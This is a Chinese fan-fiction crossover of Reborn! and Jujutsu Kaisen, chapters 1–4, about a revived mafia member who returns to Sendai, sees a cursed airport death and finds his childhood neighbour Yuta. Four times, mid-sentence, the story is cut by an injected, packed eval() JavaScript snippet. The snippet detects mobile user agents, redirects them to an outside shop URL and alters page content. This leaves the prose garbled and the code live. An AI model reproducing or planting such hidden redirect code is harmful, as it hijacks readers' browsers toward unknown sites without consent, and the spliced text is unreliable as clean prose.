《Mafia与咒术师的联姻可行性》 1. 第 1 章 参加自己的葬礼是一个什么样的体验? 实话说,那感觉挺微妙。更别提,他是以亡灵身份参加的。 周身轻飘飘的不受重力束缚,随便来一阵风都能把他吹跑。参加葬礼的人看不见他,他也看不清这些人的脸。哪怕他往人跟前凑得再近,也只能看到模糊成一团的五官,像打了大片的马赛克。 抬眼望去,教堂里满是肃穆的黑。主持弥撒的神父唱着赞美诗,为辞世的亡人做着祷告。 棺材里铺满了白玫瑰,被洁白花朵簇拥着的亡人年轻俊美,除了脸色苍白了些,他看起来实在不像个逝者,似乎只是单纯地睡着了,正沉浸在甜美的梦中。 这是作为亡灵的他唯一能看清的脸。 追悼接近尾声,两名看不清面容的黑衣人上前来,准备合棺。就在此时,坐在宾客区第一排的金发男子忽然起身,朝停灵处走了过去。 尽管金发男子这番举动有些出人意料,但在场无一人阻止,两名黑衣人甚至低下头表示了自己的恭敬。 金发男子步至棺材旁,静静地看着棺中之人,将一枚怀表放在了亡人枕边,还顺手为他整理了鬓边的发丝。 虽然看不清对方的脸,但亡灵莫名就是知道,他应该挺伤心的,周身都好像在下雨。 坐在自己棺材板上的亡灵心情复杂,伸手去碰他的脸,指尖却径直穿了过去。 “Gio……” 亡灵收回手,觉得自己身边也要下雨了。 放下怀表,金发男子往旁边让了一步。候在一旁的两名黑衣人立马上前,将棺材稳稳地合上。 漆黑的棺盖上没有刻十字架,取而代之的是一个鎏金的纹章,绘有贝壳、猎枪与子弹的图案。 金发男子戴上了一双奇特的手套,额间“噌”地烧起一簇明亮的橙色火焰。 合完棺的黑衣人赶紧退到一边,就在下一秒,像变魔术一样,那具漆黑的棺材被凭空出现的坚冰封存了起来。 “铛——” 丧钟长鸣,白鸽纷飞。 “嗖。” 不知哪来的风,吹灭了年轻人额间的火焰,也吹熄了教堂里的所有光源。 整个世界陷入无边无际的黑暗中。 - 自从他在彭格列总部的医疗室里醒来,这场葬礼就反复出现在他的梦境中。 原因不明,但日野望总觉得是某些大空的阴谋。 真是够了。 他冷漠地翻出纸笔,无情地写下第一百二十三份辞呈,雄赳赳气昂昂地前往首领办公室。 穿过走廊时遇到哭嚎着“要忍耐”的雷守大人×1、抓人回去写作业的雷守大人的青梅×1; 撕下抱住他大腿的雷守,用力抖落其揣在身上的糖果,最后将人丢进青梅准备好的麻袋中。 路过庭院时遇到拆家的云守&雾守×1、正在给财务部门负责人做心肺复苏的云守副手×1、吃瓜看戏的雾守团队×1; 和隔壁兄弟部门的青蛙少年一唱一和地拱火,在战火蔓延之前抢了雾守团队的瓜,飞速逃离现场。 在电梯门前遇到和袋鼠勾肩搭背的晴守大人×1; 碰拳以示友好,并拒绝绕城堡跑五十圈的极限锻炼邀请。 最后来到首领办公室门前,直面刚从里面出来的岚守&雨守×1; 看准时机踢了岚守一脚,闪现躲到雨守身后。 “???” 路过无辜被踹的岚守瞪大了眼睛,就差把“你有什么毛病”写脸上了。 仗着有雨守撑腰露出小人得志面孔的日野望:“我对傲娇忠犬过敏。” “你这家伙!” 岚守大人震怒,燃起火焰开匣。 “喵!” 威风凛凛的岚猫跳出匣子,在空中完成了一个优雅灵活的转身,反手给了岚守大人一爪,完成每日痛击主人成就×1。 “哼哼,不堪一击。” 日野望抱臂围观,冷漠做出如上评价。 轻盈落地的岚猫蹲坐在他脚边,赞同地发出长长的一声喵叫。 雨守大人哈哈笑着,及时架走暴跳如雷的岚守大人。 日野望第不知多少次感叹,雨守大人真是一如既往的可靠。 白切黑是什么?那是对雨守大人的污蔑!从岚部传出来的谣言没有一句能信!再说一遍,他对傲娇忠犬及其麾下部门的一切都感到过敏! 闪身进入首领办公室,将愤怒的岚守大人关在门外,谅他也不敢朝敬爱的十代目的办公室里扔炸弹。 装模作样地整理了下衣领和袖口,日野望这才抬眼看向坐在办公桌后的BOSS。 棕发的年轻人托腮看着他,神意自若,对他招猫(傲娇岚守)逗狗(忠犬岚守)的行为又是无奈又是纵容。 日野望淡定上前,掏出辞呈,端正地放在桌上。 他家BOSS扫了一眼大标题,上书偌大四个字:离职申请。 BOSS面不改色地撕掉手中纸张,若无其事地对他说今天天气真好。 日野望早有准备,飞快递出复印件×1; 笑容可亲的BOSS接过,再次“嘶啦”。 日野望预判了BOSS的预判,递出复印件×2; BOSS:嘶啦×1、嘶啦×1。 经过一番你来我往、势均力敌的回合制攻防战,第三十五封辞职信也光荣殉身。弹药告罄的日野望终于祭出最后的底牌—— “Boss!” “嗯?”低头看一眼大标题:请假申请书。 辣手摧辞呈的BOSS终于停手。 日野望挫败地扶着桌子,今日份辞职计划依旧宣告失败。 取得阶段性大胜的BOSS心情很不错,一边看报告,一边跟他闲聊:“是该好好休息一阵子,准备去哪?” 日野望低头看脚尖,漫不经心地回答:“仙台吧……大概。” “故乡吗?” 这个已经成为意大利地下世界无冕之王,被麾下及同盟尊称为“教父”的男人露出宽慰又温柔的笑容,那双暖棕色的眼睛不禁令人想到广袤无垠、包容万象的天空。 日野望匆匆一瞥又别开脸,含糊地说:“嗯……突然想吃烤牛舌和牛尾汤了,不知道以前常去的那家店有没有倒闭……其实也不是非去那家店不可。反正想吃烤牛舌的话,在仙台随便走走都能找到差不多的地方。” BOSS哭笑不得:“倒是盼着点店家好啊。” 拿着准假批复,从办公室出来的日野望有些恍惚。 不过很快,飘走的精神在看到拦路的小婴儿时立刻回归。 日野望条件反射地捂住了胃。 “Ciao Alessio(阿莱西奥)~” 西装革履的小婴儿用萌萌的声音和他打了个招呼,杜绝了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097947|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无视路过的可能。 日野望头皮发麻地单膝跪在小婴儿面前,恭敬地上供了从雷守那里薅来的糖果、从雾守团队那里薅来的瓜、以及从岚守那里薅来的香烟。 小婴儿无视了乱七八糟的东西,收缴了香烟,并严厉警告他:“不许抽。” 被仿佛有重量的视线盯着,日野望除了答应还能怎样呢。 他沉默了一会儿,委婉地暗示:“BOSS的话,这个时间应该没有在忙。” 想也知道日理万机的小婴儿不可能专程来堵他,于是直接献祭刚给自己批了长假的BOSS,试图达成祸水东引的肮脏目的。 小婴儿收起枪,猫猫嘴微微上翘,不知道是真心夸赞还是在阴阳怪气地说:“不愧是黑手党学校近年来最优秀的毕业生,为达成目的不择手段的果决值得称赞。” “哪里哪里,都是前辈们调教得好。” 嘴上敷衍着,日野望忍不住走神。 什么手段,指卖BOSS么?反正不是第一次了,也卖过不止一个,他经验丰富得很。 当然这些话绝对不能拿出来说,会被小婴儿铁锤制裁的。 日野望怀疑对方就是在等他主动送上把柄。 小婴儿坏! “你在想什么不好的事情吗?” 日野望淡定嘴硬:“没有。” 小婴儿意味深长地看了他一眼,压低帽檐哼了一声。 “算了,这次就放过你。” 难得好说话的小婴儿抬脚就走。 日野望很有眼色地侧身让到一边,恭敬目送小婴儿离开。 “嗖!” 一道疾影朝他袭来,带起的气流吹动额前的发丝。 日野望眼也不眨地接下这枚“暗器”,定睛一看,竟是一个朴素得没有任何修饰的匣子。 他疑惑地看向小婴儿,不知对方给他这个匣子的目的是什么。 “别误会,这不是我给你的。” “?” “虽然不知道为什么她要将这个给你,但既然是她的选择,那一定有她的道理。” 说完,小婴儿头也不回地走了。 留在原地看着他背影远去的日野望:……怎么办,有不好的预感。 那种“这群大空绝对是在害我”的预感又找上了他。 日野望盯着手中的匣子陷入沉思。 要么……干脆扔掉当做不知道吧? “比起扔掉,还是直接去死更干脆吧。” 小婴儿萌萌的声音忽然在耳边响起,冰冷的枪口直指他的太阳穴。 被这个恐怖的、仿佛能读心的小婴儿杀了个回马枪,日野望一点都不觉得意外。 他忍着胃痛,将匣子揣进放请假批条的口袋里,郑重地承诺:“我会像珍视请假条一样,用生命来保护它的。” “哼。” 小婴儿收枪,冷酷地再次离开。 回去的路上,日野望时不时就要停下脚步查看四周,生怕某个小婴儿出其不意地从消防柜、通风管道、违和的墙壁、松动的地砖等等地方钻出来,再用萌到吐的声音跟他打招呼。 只有这种时候他能共情自家BOSS,十年来每天都要活在这样的恐怖中,长成现在这样无情撕掉下属一百多封辞呈的模样也是没办法的事啊BOSS。 所以他放他的长假去了,你们继续互相折磨吧,哈哈(冷漠脸)。 2. 第 2 章 需要收拾的行李并不多,也就几件当季的换洗衣服,其他东西可以回仙台后再添置。 让日野望久久不能决断的,是摆在他面前的三个匣子。 最朴素的那个就是之前小婴儿代某人转交的,日野望给它记名为匣子A。 其次就是绘有彭格列纹章的匣子B。据说他躺棺材板的时候,这个匣子是随着他一起下葬的。 可在躺棺材板之前,日野望根本没见过这个匣子。他自己的根本不长这样。 日野望问过当时给他尸体装殓的雨守大人,对方只说是BOSS交给他保管的,让他先收着,再问就没下文了。 最后一个匣子C,外壳上绘制了某个棉花糖精的卡通小丑形象,简直恶趣味十足。 这个匣子来历更早,当时是跟着他的尸体一起被送到彭格列的。彭格列高层曾试图打开匣子,结果一群人点燃各种属性的火焰,没有一个成功的。后来日野望醒过来,这个匣子才在众人的盯控下打开了。 日野望配合着彭格列的技术员们,将这个可疑的匣子翻来覆去研究了一个月,得出的结论是,除了格外会气人外,内容物本身没有大问题。 可那毕竟是敌方大BOSS特意送过来的东西,就算现在人已经没了,出于谨慎和安全考虑,最好是将匣子留在技术部,进行更加细致深入的研究,并不建议日常使用。 这群研究上头的技术员们表现得义正言辞、大公无私,实际上就差把算盘珠子蹦人脸上了。 日野望本人倒是觉得无所谓啦,这种烫手的山芋他巴不得丢出去。 双方一拍即合! 可惜最后拍板的是他们的顶头上司。 拥有超直感的彭格列十代目觉得应该把匣子交给日野望保管,技术员们再不舍也只能将匣子还给了后者。 丢山芋愿望落空的日野望:…… 这群诡计多端的大空一定想害我。 日野望的怨念如有实质,几乎凝聚成乌云。 他对着匣子ABC直叹气。想都扔在这里,装作忘记带回日本了吧,最后还是会被某个鬼畜小婴儿打包空投到头顶的。 “咚咚。” 敲门声打断了日野望的思绪。 雨守大人的声音传来:“望,收拾好了吗?车子已经等在楼下了。” “这就来!” 眼看是不能逃避了,日野望将三个匣子扫进行李箱中,扣上锁,眼不见心不烦。 这次回日本的不光日野望一个人。 云守大人声称群聚使他过敏,打完架就准备回他的快乐老家。日野望得以蹭上云守大人的专机。 私人飞机内部空间极为充裕,云守大人甚至有自己的专属房间,配有独立通风的卫浴,除了饭点让送餐的副手进门之外,整个航程他都待在房间里,坚定杜绝三人以上的群聚。 日野望也乐得自在,拉着云守副手八卦十年前的BOSS,犀利的问题一个接着一个。 渐渐地火力范围覆盖到了某些小婴儿和守护者身上,听得副手冷汗连连,时不时回头观望云守大人的房间门,生怕下一秒就有人推门而出,将他们一拐子抽出机舱。 日野望见他支支吾吾,顾左右而言他,也不好继续逼人家开口,老老实实躺下休息了。 就是多少觉得有些无趣。 不过想到自己即将到来的快乐假期,没有工作、没有黑手党、没有总是罗里吧嗦的大人们,他瞬间又支棱起来了! 假期该怎么挥霍才好呢? 顿时一堆想法浮上心间,像泡泡机呼啦啦吹出来无数泡泡,在阳光下闪闪发亮、光彩缤纷。 飞机抵达日本东京后,双方就地解散。一个乘车回並盛町,一个转国内航班飞仙台,行程被靠谱的副手草壁哲矢安排得明明白白,根本不用他们操心。 一些没办法通过安检的危险品也会由草壁哲矢带走,之后他再派人将东西原封不动地送到日野望家里。 日野望为他的体贴赞叹不已,决定以后也要找一个细心能干的助手。 本来草壁哲矢还邀请日野望去並盛,但被后者婉拒,坚称休假期间看到彭格列的一切都会让他过敏。 谁让彭格列的日本分部基地就建在並盛呢? 草壁哲矢:“……” 十几个小时的航程不算短,但云守大人的专机舒适程度一级棒,体验感极佳。吃饱睡足,再加上假期已经到来,日野望的精神非常饱满。 只是他没算到,就在他等待飞仙台的短短一小时内,还能撞上那么一件诡异的乘客暴毙事件。 习惯使然,一进候机厅,日野望就找了个最适合观察的位置坐下。 心分三用对他来说并不难,喝咖啡看报纸的同时,他还能再分出些心神留意整个候机厅的动静。 因此,这起事件几乎就发生在他眼皮子底下。 异样是突然发生的。 死者男性,三十岁上下,坐在候机室靠窗的角落,刚好与日野望在两个对角上。 他身前的桌上摆了一台办公用的笔记本电脑,偶尔敲击几个字。手边的咖啡喝光了没有续,时不时就要瞥两眼手机屏幕,心神明显被别的事情牵动着。 在日野望进入候机厅的短短半小时内,对方就通了七个电话,每次通话时长不超过两分钟。 最短也是最后一通电话挂断后,男子忽然发出凄厉的惨叫,脑袋像吹气球一样变大,短时间就膨胀到了让人难以置信的程度。 候机厅里大部分人都还没反应过来。 “啪!” 他的脑袋炸开了。 红红白白的液体呈放射状喷出,男子倒下时撞翻了放在桌上的杯子和笔记本电脑,落地发出稀里哗啦的声响。 这一下仿佛打开了什么开关,候机厅顿时陷入一片混乱中。恐惧的尖叫与哭泣声接二连三地响起来。有个距离比较近的乘客被溅了小半身血,呆滞地坐在原来的位置上,明显已经被吓懵了。也有人保持冷静,要么打电话报警,要么去找机场工作人员。 日野望放下报纸起身,握紧了随身的黑伞,沉默地审视着倒地的无头尸体。 蓝色如流水般的火焰在他眼中一闪而过。 “Picci,去那个位置的外面看看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097948|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一只白鸽振翅而起,熟练地避开监控与人群,径直往外飞去。 - 池原泽雄是咒术界的一名辅助监督,在这个岗位上工作了五年,见识和经历的奇人怪事大多数普通人一辈子加起来都赶不上。 这一次本来也不例外。 半小时前,池原泽雄收到“窗”的紧急联络。简单了解情况后,他驱车前往事发机场。 这一次发生在机场头等舱候机厅的暴毙事件,此前并没有类似的案例,但毫无疑问是诅咒作怪。至于具体是某种新型诅咒还是未知诅咒师犯案,还需要进一步调查才能得出结论。 在总监部安排的咒术师过来前,作为辅助监督,池原泽雄也有自己的工作要开展。 他与“窗”的成员在警方的配合下把人员疏散完毕,现场也封锁起来了。稍后还要向目击现场的非术师了解情况,有出于排查嫌疑的考虑,更多的则是沟通安抚,再视情况决定要不要替他们安排知情的心理医生,最后商量签署保密协议的问题。 前面的约谈都还顺利,怎么说他也在这个岗位上工作了五年,这一套流程已经相当熟练,处理得自然很快。 不过接下来的这个人,就有点出乎他的预料了。 倒不是说对方不配合、难沟通,就是单纯给人的印象太过深刻,令人难以忘怀。 谈话开始前,远远地,还没看清脸,池原泽雄的视线就被对方牢牢吸引住了。 他个子高挑,身姿挺拔。穿着体面考究的定制西装,衬衫扣到最上面一颗,领带也打得规规矩矩,戴着皮手套,手持一把黑伞,中指还戴着一枚做工精致的蓝宝石戒指。 整个人从头到脚都写满了精致。 距离近了,池原泽雄意识到对方还很年轻,应该跟高专的那些学生们差不多岁数。虽然有一副相当出色的好相貌,但更让人印象深刻的,是他身上有一种模糊年龄的神秘气质。 他独自站在角落中,与周围的人群格格不入。像一个观众席上的看客,毫无代入感地围观舞台上闹哄哄的表演;又像一名科学观测者,冷静审慎地观察着被观测对象的一举一动。 这是一个很特别的少年。而且他很冷静,很聪明,有自己的判断,是个绝对不好糊弄的家伙。 做出这样的判断后,池原泽雄的态度不禁慎重了许多。 那双蓝眼睛看过来的时候,池原泽雄有一瞬间的恍惚,好像看到了广袤深邃的大海。 少年的视线像是有重量一般,越过人群,径直落在他身上,让他倍感压力。 池原泽雄不着痕迹地咽了下口水,行至少年面前站定,按照流程,一板一眼地将已经倒背如流的说辞搬了出来。 “您好,我是池原泽雄。关于这次的事件,这边还有些问题需要向您询问,希望能够得到您的理解与帮助。” 少年安静地,用一种略带审视的探究目光盯着他。虽不至于冒犯,但总让人有一种被看透的不安。 在池原泽雄感到不自在之前,少年收敛目光,微微颔首,报出了自己的名字。 “你好,我是日野望,请多指教。” 3. 第 3 章 “……大致就是这些了,谢谢您的配合。” “不客气。” 池原泽雄原本以为要在日野望这边花费不少时间,可事实上整个过程顺利得让他都有些意外。 日野望将自己在候机厅的所见所闻如数告知,没有隐瞒,也没有提问,淡然得像在喝下午茶时随意闲聊了几句。 完全没有正常人接触到异常事件的惶恐与不安,与前几个事件目击者形成了鲜明的对比。 “你看上去很想问我——‘为什么不感到好奇’——的样子。” “呃……”池原泽雄噎住,心想他表现得有这么明显吗? 日野望慢条斯理地说:“这个世界上存在着许多秘密,但只要它存在,就绝不会毫无踪迹,能否获知只取决于有无相应的消息渠道罢了。恰巧,这样的渠道我有不少。” 池原泽雄恍然大悟。 这并不奇怪。 就像日野望说的那样,只要有痕迹,就有被发现的可能。虽然普通人看不见诅咒,但是它造成的某些影响却是肉眼可见的。 就比如这次的事件,好些目击者都看到了。为了降低影响,咒术界这边只能让他们签署保密协议。 如果不考虑对大脑的影响,彻底洗去对方的记忆的话,用咒术界的手段或许可以做到。但储存记忆的大脑是极为精密的器官,谁都不知道这种手段会不会对大脑造成不可挽回的影响。这是不得已之下采取的下下策。换个角度来想,若是普通人遇到诅咒就要被清洗记忆,那些政客和财阀怎么可能坐得住。 总监部虽说是总领咒术界的机构,但里面除了咒术师,同样也有官方派遣过来的普通人。这些人充当的是“眼睛”和“传声筒”的角色,咒术界内部的事务不会插手,咒术师们打成狗脑子都与他们无关,只要不影响到普通社会,该配合的就配合,该批经费的就批经费,很好说话的。可一旦涉及到对普通人的决策,那就不一样了。 总之,咒术界是封闭了点,咒术师们终究还是生活在这个社会上的。一些对普通人来说一辈子都没办法接触,甚至还会被刻意隐瞒的情报与消息,对于某些人来说,想要知道根本不用花费太多心思。 显然,日野望就是其中的一员。 池原泽雄一边整理手中的记录,一边又忍不住用余光去看坐在对面的少年。 少年坐姿端正,悠哉地喝着咖啡,好似根本感觉不到他的视线。 于是他忍不住问:“您……是怎么看待这一切的呢?” “对这个社会来说,组织和个人是齿轮,只要能各司其职,维持社会正常运转就可以了。” “也就是说……” “这是你们的工作。于我无碍者,与我无关。” 少年微微一笑,满是事不关己高高挂起的冷漠和洒脱。 “……”池原泽雄心中的小人泪流满面,他也想这么潇洒啊。 离开前,日野望想起什么,脚步停下。 “对了,我这次假期挺长,应该会在日本停留一段时间。如果再遇到类似的事件,我可以直接联系你吗?” “啊,可以的!”池原泽雄觉得这不是什么大事,反正是知情者。 于是双方交换了联络方式,正式结束了这次的交流。 走到房间外,一只白鸽从高处飞下,轻盈地停落在日野望的肩膀上。 “这是你养的鸽子吗?真是可爱。” 迎面走来一名身材高挑的女性,语带笑意地和日野望打了个招呼。她闭着眼,行动依旧自如,根本不受视觉影响。 “你好。” 日野望颔首,环视一圈四周的乌鸦,回敬道:“你养的乌鸦也不错。如果我猜的没错,这次事件应该就是你来处理了。” “是的。”对面的女性笑得更开心了,朝他递出名片:“我叫冥冥,一级咒术师。下次再遇到类似的事件,你可以直接联系我。” 日野望挑了下眉。 “我的直觉告诉我,你应该是个不错的客户。”她比了个“钱”的手势,一副双方心照不宣的样子。 日野望收起名片:“那么期待下次合作了。” 双方擦肩而过。 远远地,身后传来两人的交谈声。 池原泽雄:“冥小姐,您已经调查过现场了吗……啊?诅咒师已经抓到了?那么快!真不愧是冥小姐!……刚巧碰到有人在追?奇怪,那会是谁……对方的仇家吗?” 冥冥:“谁知道呢,或许是路过的好心人?” 谈话声越来越远,渐渐地就听不见了。 日野望摸了摸白鸽Picci的羽毛,说:“只是让你去看看,怎么就追上了?” “咕?”Picci那双黑亮的眼睛无辜地看过来。 “……算了,没吃亏吧?” “咕!”Picci骄傲地挺起胸脯。 “很好。” 日野望满意地点头,拿出匣子,让Picci回去了。 虽然耽搁了不少时间,但事件解决得还算快,日野望得以顺利地搭上前往仙台的飞机。 就在这趟飞机上,他做了个与以往全然不同的梦。 梦里的天空下着雨,整个世界都是灰色的。 他坐在巷子的角落里,两边的墙高得耸入天际,黑暗笼罩在他身上,要将他连皮带骨地吞吃干净。 就在这个时候,一个人冒冒失失地闯进来,径直走到他跟前,朝他伸出手。 “你好啊,我叫■■。” 背着光,日野望看不清那个人的脸,只知道对方有一头金色的头发,灿烂得像西西里八月的阳光。 于是他牵着那个人的手,跟着他走了出去。 外面的风景也没比巷子里好看多少,像泼了水的画,各种色彩糊成一团。只有牵着他的那个人比较清晰。 那个人穿着白衬衫背带裤,年岁应该不大,很受欢迎,时不时停下来点点头,招招手,像是跟周围人打招呼。 日野望现在是小豆丁视角,仰头看着梦境中唯一清晰的背影,觉得他异常高大,牵着自己的那只手也非常温暖。 走着走着,脚步渐渐加快,不知为何跑了起来。 牵着他的人一边跑一边笑:“快跑,阿莱,别回头!■来抓我们了!” 跑着跑着,前面的人个子变高了,身上的衣服也换了一套,条纹马甲配白衬衫,勾勒出青年清隽挺拔的身躯。 日野望的视角也拔高到了可以平视对方的程度。 牵着他的手慢慢松开,一直领着他往前走的人却越跑越快,眨眼就拉开了一大段距离。 “快点,阿莱!” 看着那个人的背影融在光里,日野望忽然感到一阵心慌。他迈开步子追上去,却发现自己怎么都追不上对方。 “等等!■■,别丢下我……” 他不知道自己追逐了多久,眼前的一切忽然变得熟悉起来。 那是记忆中的故乡仙台,一个规模虽小却充满了活力的城市。 他停下脚步,犹豫地望向四周。 背上突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097949|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然被人推了一把,日野望往前趔趄数步,站稳后下意识地回望。 金发的年轻人穿着条纹西装,肩上的披风长过小腿,被六个背对着他的身影簇拥在中间。 “快走吧,阿莱,别回头。” “……” 日野望沉默地注视着他。 这个自他复活以来就经常出现在梦中的身影,总是看不清面貌,可每次看着他,日野望都觉得他是那么可亲。想要靠近却无法靠近时,头顶的天空都映照出了他的心情,稀里哗啦地下着雨。 一道无形的界限横亘在两人之间,不可观不可触,却那么分明。 …… 梦醒时,飞机顺当着陆,窗外便是九年未见的故乡仙台。 此时已是傍晚,街道两旁的路灯全部亮了起来。 天空雾蒙蒙的,下着小雨。车辆行人往来匆匆,忙忙碌碌。放眼望去,故乡依旧如记忆中那般充满活力,只是幼时熟悉的设施和店面被替换了不少,如今倒显得陌生了。 日野望看着四周,一时竟不知道该往哪走才好。他撑着伞停留在雨幕中,像一座精致却僵硬的雕像。 他实在是太显眼了,一身的装束和气质都与这个城市格格不入。从他身边路过的行人总是忍不住投来惊艳和好奇的目光。 在好心人上前询问前,日野望总算做出决定,叫来出租车,准备去家附近的餐厅吃个烤牛舌套餐。 原本是这么打算的,车子开到地方才发现,记忆中那家餐厅几年前就搬走了,原来的位置新开了一家连锁快餐店。 “啊……” 他不想吃快餐啊。 司机先生听说后,给他推荐了另外一家餐厅。同样是近几年开的,但味道很不错,店主兼大厨很有意思。 听说距离不远,日野望问了具体地址,谢过司机先生后下了车。他决定先回家一趟,将行李放下再去看看那间餐厅,或者干脆去热闹的国分町玩玩。 小时候他听妈妈说,她曾经在国分町一家叫“Craftsman”的店里打工。那里有意大利饮食,有日本啤酒,还有叮叮当当敲击着酒杯、热热闹闹讨论独立音乐的顾客。 某一年的复活节,一个意大利男人在店里点了一份她做的卡萨塔蛋糕,称赞味道很正宗。后来那个男人就经常来这家店光顾,久而久之他们就认识了,谈了恋爱,结了婚,共同孕育了一个孩子。爸爸给他取名为阿莱西奥(Alessio),意为守护,妈妈给他取名为望(nozomi),意为希望。 他们在仙台安家,过着平静幸福的生活。直到八年前的一场剧变,将这个家庭冲击得支离破碎。妈妈被葬进了仙台公墓,爸爸带着孩子去了意大利。两年前的混乱中,爸爸也去世了。等到一切尘埃落定,孩子才带着爸爸的骨灰回到了家乡。 回家的路上,日野望漫不经心地扫视或熟悉或陌生的街道。 忽然,一条并不起眼的小巷吸引了他的目光。 他的脚步停了下来。 昏暗的巷子角落,一个少年抱膝坐在地上,脚边放着他的书包,教科书和作业本散落一地。细雨打湿了他的头发和白衬衫,浑身湿漉漉的可怜。 日野望在原地站了有一会儿。 莫名地,他觉得有些眼熟。 看着看着,他忽然想起来了:“啊,难道是……” 走近仔细一看,好像真没认错。 日野望将伞倾向少年的头顶,露出来到仙台后的第一个笑容。 “好久不见,忧太。” 4. 第 4 章 在去意大利之前,日野望和父母生活在居民区的一户建中。邻居家有一个比日野望小四岁的男孩,叫乙骨忧太。 他们的妈妈关系不错,双方大人忙起来的时候会把小孩子送到对方家中。久而久之,日野望就和邻家弟弟熟悉起来了。 乙骨忧太四岁时,他的妈妈怀了二胎。这一胎比较辛苦,乙骨妈妈没多少精力照顾大儿子。不巧的是,日野望的妈妈也忙着家里新开的烘焙店。 时年八岁的日野望体谅妈妈们的辛苦,贴心地将邻家弟弟接手了过来。 那段时间,日野望早上牵着乙骨忧太去上学,下午放学了把人带回家,端来果汁和点心,乙骨忧太在一边看电视,他就坐在旁边写作业。 两人相处得很好,大人们观望了一阵,果断放开手,忙自己的去了。 手把手带了邻家弟弟两年,日野望的妈妈因故去世,爸爸处理好家中事务,准备带他前往意大利。 临行前,邻家弟弟抱着日野望哭得两眼泪汪汪,跟他拉钩: “不要忘了我。” “嗯。” “一定要回来找我。” “嗯。” “约定好了哦。” “嗯。” 当时还不知道“束缚”是什么玩意儿的日野望没有负担地答应了。 结果去了意大利,日野望就被爸爸扔进了黑手党学校。 踏进校门的第一天起,他就知道今后的日子不会平静了。于是他与过往的生活做了切割,自然也与邻家弟弟断开了联系。 八年后,休长假的日野望回到故土。到家之前,他先在雨中的小巷里捡到了狼狈的邻家弟弟。 这该说什么呢?缘分? 日野望居高临下地看着乙骨忧太苍白阴郁的脸,心情有些微妙。一时间,脑中闪过奇怪的想法。 梦中的那个人捡到他时,也是这样想的吗? 大概不会吧。 梦里的那个人明显比他要温柔多了。 就比如,他不会这么说:“真可怜啊忧太,像淋湿的小狗狗。” “你……” 少年的眼睛微微睁大,猛地仰头看向他,死水般平静的内心再次泛起涟漪。 这个人,现在正在给他撑伞的人,就像他离开时那样突然地出现在了他的面前,没给他一丝准备的机会。 “怎么,不认识我了吗?” 日野望蹲下身,朝他伸出手。 无形的压力降临在这个狭窄的巷子里,黑暗中有东西在蠢蠢欲动,如墨般的咒力张牙舞爪地往四周蔓延,周围的声音、光影,一切都在离他们远去。 乙骨忧太猛地意识到了什么,呼吸一窒,瞳孔剧烈颤抖着,如有实质的恐惧几乎将他撕裂成两半,一边在对面前的人说“快跑”,一边在对身后的阴影说“停下”。 就在这个时候,温暖的触感将他从恐惧的泥沼中拽了出来。 他猛地回神,意识到面前的人不知什么时候摘下手套,温暖的手贴着他的脸,指尖轻轻点在太阳穴上。 奇妙的、冰凉的水流包裹着他,汹涌的负面情绪被抚平,就连耳边疯狂叫嚣的声音都停滞了。 他感觉自己的脑袋前所未有地镇定、清醒。 “冷静了吗?” 乙骨忧太看着近在咫尺的蓝眼睛,一瞬间坠入深不见底的大海。 他几乎是下意识地抓住了贴在脸上的那只手。 日野望顺势将他从地上拉起来,这才去看他身后的庞然大物。 “真是不得了。”这可比他在东京机场遇到的刺激多了。 乙骨忧太顺着他的视线看过去,同样注意到了显现出身形的里香。 自诞生起就展现出了极强攻击性的怨灵里香,此刻被包裹在一团蓝色的、水一样的能量中,行动缓慢僵硬得像被冻住了一样。 “这是?” “雨属性的火焰,具有镇静的效果。” “火焰?” “稍后再说明,先把这个大家伙收回去吧。”日野望开匣,让Picci到外面去盯梢,“要是把那些麻烦的家伙引来就不妙了。” 乙骨忧太挠头,为难地说:“可是……我没办法控制里香。” “没办法控制?那我叫人来处理掉?”日野望掏出手机准备摇人,也是巧了,今天刚认识了个一级咒术师。 不过“里香”这个名字有些耳熟啊,似乎在哪听过? “处、处理掉?!”乙骨忧太显然被吓了一跳,“那里香会怎么样?” “什么怎么样?当然是彻底消失啊。” 乙骨忧太猛地睁大眼睛,颤抖的瞳孔述说着内心的挣扎和动摇。 日野望不解,停下摇人的手。 “话说里香到底是谁……啊!” 他想起来了! “是你上小学前在医院认识的小女孩?” “嗯……”乙骨忧太有些狼狈地低下头,躲开那双注视着自己的蓝眼睛。“哥哥离开后,里香就是我最好的朋友,我们约定了要一直在一起。” 这小孩怎么总喜欢跟人做约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 